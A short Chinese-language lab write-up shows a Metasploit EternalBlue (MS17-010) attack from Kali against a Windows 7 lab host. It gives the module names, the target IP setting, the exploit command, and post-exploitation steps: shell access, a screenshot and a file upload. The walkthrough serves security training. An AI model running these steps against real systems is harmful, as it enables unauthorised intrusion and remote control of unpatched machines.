实验目的:
使用Kali Linux平台的“metasploit framework”工具,针对Windows7操作系统模拟“永恒之蓝”攻击,实现系统提权。
实验环境:
系统: kali Windows7
kali用户名:kali 密码:kali
Windows7用户名:小王 密码:123456
实验步骤:
1.检测靶机的445端口。

2.在kali中观测靶机的开放端口及版本

3.启动“metasploit framework”平台

4.执行“search ms17-010”命令,查看可以利用的攻击模块

5.使用“use auxiliary/scanner/smb/smb_ms17_010”加载扫描模块

6.执行”show options”查看配置选项

7.再次执行“search ms17-010”命令查询可利用模块

8.执行加载“use exploit/windows/smb/ms17_010_eternalblue”模块

9.执行“set rhost 192.168.98.130”命令,设置远程目标主机地址。

10.执行“exploit”命令攻击

11.执行shell切换到靶机下

12.发现乱码执行chcp 65001将乱码转化

13.执行exit推出靶机执行screenshot捕捉靶机屏幕并查看图片


14.在kali下新建一个文档txt 传输到靶机下


15.文件成功传输到靶机下

版权归原作者 Krismile☜ 所有, 如有侵权,请联系我们删除。